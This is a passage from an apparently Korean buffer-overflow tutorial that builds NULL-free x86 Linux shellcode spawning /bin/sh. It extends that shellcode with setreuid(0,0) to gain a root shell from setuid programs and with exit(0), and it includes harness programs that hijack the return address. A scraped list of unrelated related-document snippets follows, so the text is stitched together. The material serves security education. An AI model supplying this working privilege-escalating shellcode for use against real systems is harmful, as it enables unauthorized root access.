80482f7: 83 ec 08 sub $0x8,%esp 80482fa: 83 e4 f0 and $0xfffffff0,%esp 80482fd: b mov $0x0,%eax : 29 c4 sub %eax,%esp 45

46 : 31 c0 xor %eax,%eax : 50 push %eax : 68 2f 2f push $0x68732f2f c: 68 2f e push $0x6e69622f : 89 e3 mov %esp,%ebx : 50 push %eax : 53 push %ebx : 89 e1 mov %esp,%ecx : 89 c2 mov %eax,%edx : b0 0b mov $0xb,%al b: cd 80 int $0x d: c9 leave e: c3 ret f: 90 nop bof]$ < 그림 27. NULL을제거한쉘을실행시키는어셈블리코드의실행 > 제법많은부분이바뀌었다. 자어떤가? 덤프한모습을보면우리가필요로하는코드 xor %eax,%eax ( ) 이후부터 int $0x80 (804831b) 사이의기계어코드에는 00이없다. 따라서 NULL로인식될염려가없게되었다. 이제남은것은이것을문자열화시키는것이다. 위에서도언급했듯이 char형배열에 16 진수형태의바이너리데이터를전달할것이다. 그러기위해서는 \x90형식으로바꾸어줘야한다. 귀찮은작업이지만해야하니깐어쩔수없다. 덤프한코드에서우리가만든부분만의기계어코드를추출해보면아래와같다. 31 c f 2f f e 89 e e1 89 c2 b0 0b cd 80 46

47 이것을문자열배열에넣기위해다시가공하면 "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80" 이렇게만들어낼수가있다. 이것을모두한줄에써줘도아무런상관이없다. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\ x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" 자이제이코드를실행시켜보자. 쉘코드를실행시키기위해서는보통아래와같은프로그램을작성한다. redhat8 bof]$ cat sh03.c char sc[] = "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80"; void main(){ int *ret; ret = (int *)&ret + 2; *ret = sc; 47

48 } redhat8 bof]$ gcc -o sh03 sh03.c sh03.c: In function `main': sh03.c:16: warning: assignment makes integer from pointer without a cast sh03.c:13: warning: return type of `main' is not `int' [dalgona@ redhat8 bof]$./sh03 sh-2.05b$ exit exit [dalgona@ redhat8 bof]$ < 그림 28. 쉘코드실행프로그램 sh03.c> 이런방식으로쉘코드를실행시킬수있다. 쉘이잘뜨는것을보니제대로만들어진것같다. 그러면이프로그램은어떤원리로동작할까? gdb를이용하여 disassemble해보자. [dalgona@ redhat8 bof]$ gdb sh03 GNU gdb Red Hat Linux ( ) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x80482f4 <main>: push %ebp 0x80482f5 <main+1>: mov %esp,%ebp 0x80482f7 <main+3>: sub $0x8,%esp 0x80482fa <main+6>: and $0xfffffff0,%esp 0x80482fd <main+9>: mov $0x0,%eax 0x <main+14>: sub %eax,%esp 0x <main+16>: lea 0xfffffffc(%ebp),%eax 0x <main+19>: add $0x8,%eax 0x804830a <main+22>: mov %eax,0xfffffffc(%ebp) 0x804830d <main+25>: mov 0xfffffffc(%ebp),%eax 0x <main+28>: movl $0x804936c,(%eax) 48

49 0x <main+34>: leave 0x <main+35>: ret End of assembler dump. (gdb) < 그림 29. 쉘코드를실행시키는프로그램의 disassemble> disassemble해보면 < 그림 29> 와같은코드를확인할수있다. 함수프롤로그가수행되고나서다음과같은코드를수행한다. 0x <main+16>: lea 0xfffffffc(%ebp),%eax 0x <main+19>: add $0x8,%eax 0x804830a <main+22>: mov %eax,0xfffffffc(%ebp) 0x804830d <main+25>: mov 0xfffffffc(%ebp),%eax 0x <main+28>: movl $0x804936c,(%eax) <step 3, 4, 5> 를연상하면서확인해보자. 먼저 ebp-4byte 지점의 address를 eax 레지스터에넣는다. 그런다음그 address에 8을더한다. 이것은 sh03.c에서 ret = (int *)&ret +2 ; 과정이다. ret라는포인터변수의 address를찾아서 8바이트상위의주소로만든다. ( 참고로 int * 형에 1을더하면 int형데이터하나를건너뛰는것이므로실제로는 4가더해지는것이다.) 자, 그러면 ebp+4 지점에는무엇이들어있는가? 그렇다. 바로 return address가들어가있다. <step 5> 를확인해보자. 그런다음 return address가들어있는곳의주소값을 ebp 4byte 지점에넣어준다. 거꾸로도해준다. 그리고 eax 레지스터값이가리키는지점에 $0x804936c 을넣어준다. 0x804936c 에는 char sc[] 데이터가있는지점이다. 따라서 main() 함수가종료되고 EIP는 return address가가리키는지점에있는명령을가리키게될것이다. 그것을우리가만든쉘코드가들어있는위치를가리키게했으므로이제시스템은우리가넣은쉘코드를수행하게되는것이다. 이렇게해서쉘코드가제대로동작하는지확인할수가있다. 또다른방법또다른방법도있다. 쉘코드를저장할변수를 int형으로만들어주면된다. 다만여기서유의할점은 little endian 순서로정렬해야하며 int형이므로 4 byte 단위로만들어줘야하는것이다. 이렇게만들어진쉘코드실행프로그램을보자. [dalgona@ redhat8 bof]$ cat sh04.c int sc[] = {0x6850c031, 0x68732f2f, 0x69622f68, 0x50e3896e, 0x89e18953, 0xcd0bb0c2, 0x }; void main(){ int *ret; 49

50 } ret = (int *)&ret + 2; *ret = sc; [dalgona@ redhat8 bof]$ gcc -o sh04 sh04.c sh04.c: In function `main': sh04.c:6: warning: assignment makes integer from pointer without a cast sh04.c:3: warning: return type of `main' is not `int' [dalgona@ redhat8 bof]$./sh04 sh-2.05b$ exit exit [dalgona@ redhat8 bof]$ < 그림 30. 쉘코드를 int형배열로실행하는방법 sh04.c> int형배열을이용하여실행하든지 char형배열을이용하여실행하든지상관은없다. 다만 int형배열을사용할때에는 objdump를이용하여얻은기계어코드를 little endian 방식으로재정렬해줘야한다는귀찮음이따르고또한대부분의 buffer overflow 공격방법이문자열형데이터처리의실수를이용하는것이므로 char 형으로생성하는것이더편하다. 단지바이너리데이터를메모리에넣고실행시키는방법을소개한것이므로알고만있으면된다. setreuid(0,0) 와 exit(0) 가추가된쉘코드 buffer overflow 공격이성공했을경우공격자는쉘을획득할수있게될텐데, 쉘획득이후보다많은권한을얻고싶어할것이다. 따라서 root 권한을얻을수있는방법을모색하게된다. root권한을얻을수있는방법은 setuid 비트가 set되어있는프로그램을이용할수있다. 그래서 setuid 비트가 set되어있는프로그램을오버플로우시켜쉘코드를실행시키고루트의쉘을얻어낼방법이필요하다. 위에서작성한쉘코드실행프로그램 sh03.c와 sh04.c는 root권한을얻어주지못한다. 예를들어이프로그램에의해만들어진 sh03에 setuid 비트를붙여서실행을시켜보자. [dalgona@redhat8 bof]# ls -al sh03 -rwxrwxr-x 1 dalgona dalgona 월 15 11:13 sh03 bof]$ su Password: [root@redhat8 bof]# chown root.root sh03 [root@redhat8 bof]# chmod 4755 sh03 50

51 bof]# ls -al sh03 -rwsr-xr-x 1 root root 월 15 11:13 sh03 [root@redhat8 bof]# exit exit bof]$ id uid=500(dalgona) gid=500(dalgona) groups=500(dalgona),1001(staff),1002(sysadmin) bof]$./sh03 sh-2.05b$ id uid=500(dalgona) gid=500(dalgona) groups=500(dalgona),1001(staff),1002(sysadmin) sh-2.05b$ < 그림 31. setuid를붙인 sh03 실행 > 이와같이 setuid를붙여도아무런역할을하지못한다. 왜냐하면 root 소유의프로그램의권한을그대로상속받지못했기때문이다. 따라서쉘코드에소유자의권한을얻어내는기능이필요하다. 따라서쉘코드부터다시수정을해줘야한다. 이를위해서 sh.c를아래와같이수정하였다. [dalgona@redhat8 bof]$ cat sh-1.c #include<unistd.h> void main(){ char *shell[2]; setreuid(0,0); shell[0] = "/bin/sh"; shell[1] = NULL; } execve(shell[0], shell, NULL); [dalgona@redhat8 bof]$ gcc -o sh-1 sh-1.c sh-1.c: In function `main': sh-1.c:2: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$ su Password: [root@redhat8 bof]# chown root.root sh-1 [root@redhat8 bof]# chmod 4755 sh-1 [root@redhat8 bof]# exit 51

52 exit bof]$ id uid=500(dalgona) gid=500(dalgona) groups=500(dalgona),1001(staff),1002(sysadmin) bof]$./sh-1 sh-2.05b# id uid=0(root) gid=500(dalgona) groups=500(dalgona),1001(staff),1002(sysadmin) sh-2.05b# < 그림 32. sh.c를수정한 sh-1.c의실행 > 이렇다. setreuid() 함수를이용하여프로그램소유자의권한을얻어올수가있게되는것이다. 따라서쉘코드에 setreuid() 가하는기계어코드를추가해줘야한다. setreuid() 의기계어코드를찾는방법은위에서살펴본 execve() 에서기계어코드를찾는방법과동일하게수행할수있다. 따라서여기서는그방법을언급하지않겠다. 위에서와똑같이 static으로컴파일하여 setreuid() 함수를찾아인터럽트를호출하는부분을찾으면된다. 아무튼이렇게하여찾아진기계어코드와어셈블리코드는아래와같다 "\x31\xc0" // xorl %eax,%eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x46" // movb $0x46,%al "\xcd\x80" // int $0x80 이것을우리가만든쉘코드앞부분에단순히붙여넣어주기만하면 "\x31\xc0" "\x31\xdb" "\xb0\x46" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" 52

53 "\xb0\x0b" "\xcd\x80" 이된다. 한편, 좀더완벽한쉘코드를만들기위해서 exit(0) 가필요할수있다. 이것은공격자가 overflow 공격을수행하고난뒤프로그램의정상적인종료를위해서이다. 만약정상종료를시키기못하면에러메시지가발생할수도있고이메시지는로그파일혹은관리자에게그대로전달될수도있다. 깔끔한마무리를위해서 exit(0) 를넣어주자. exit(0) 에대한기계어코드는아래와같다. "x31\xc0\xb0\x01\xcd\x80" 그리고이를이용해만든 sh03.c의수정코드는아래와같다. bof]$ cat sh03-1.c char sc[] = "\x31\xc0" "\x31\xdb" "\xb0\x46" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80" "x31\xc0\xb0\x01\xcd\x80"; void main(){ int *ret; ret = (int *)&ret + 2; *ret = sc; } 53

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이 gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이나왔다한다. Debugging을하는가장원초적방법은프로그램소스를눈으로따라가며, 머리로실행시켜논리적오류를찾아내는것이다.

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Microsoft PowerPoint - o8.pptx

Microsoft PowerPoint - o8.pptx 메모리보호 (Memory Protection) 메모리보호를위해 page table entry에 protection bit와 valid bit 추가 Protection bits read-write / read-only / executable-only 정의 page 단위의 memory protection 제공 Valid bit (or valid-invalid bit)

More information

Chapter ...

Chapter ... Chapter 4 프로세서 (4.9절, 4.12절, 4.13절) Contents 4.1 소개 4.2 논리 설계 기초 4.3 데이터패스 설계 4.4 단순한 구현 방법 4.5 파이프라이닝 개요*** 4.6 파이프라이닝 데이터패스 및 제어*** 4.7 데이터 해저드: 포워딩 vs. 스톨링*** 4.8 제어 해저드*** 4.9 예외 처리*** 4.10 명령어 수준

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

Smashing The Stack For Fun And Profit by Aleph One

Smashing The Stack For Fun And Profit by Aleph One Review of Aleph One s Smashing The Stack For Fun And Profit by vangelis(vangelis@wowsecurity.org) 888 888 888 888 888 888 888 888 888.d88b. 888 888 888 88888b. 8888b..d8888b 888 888.d88b. 888d888 888 888

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment
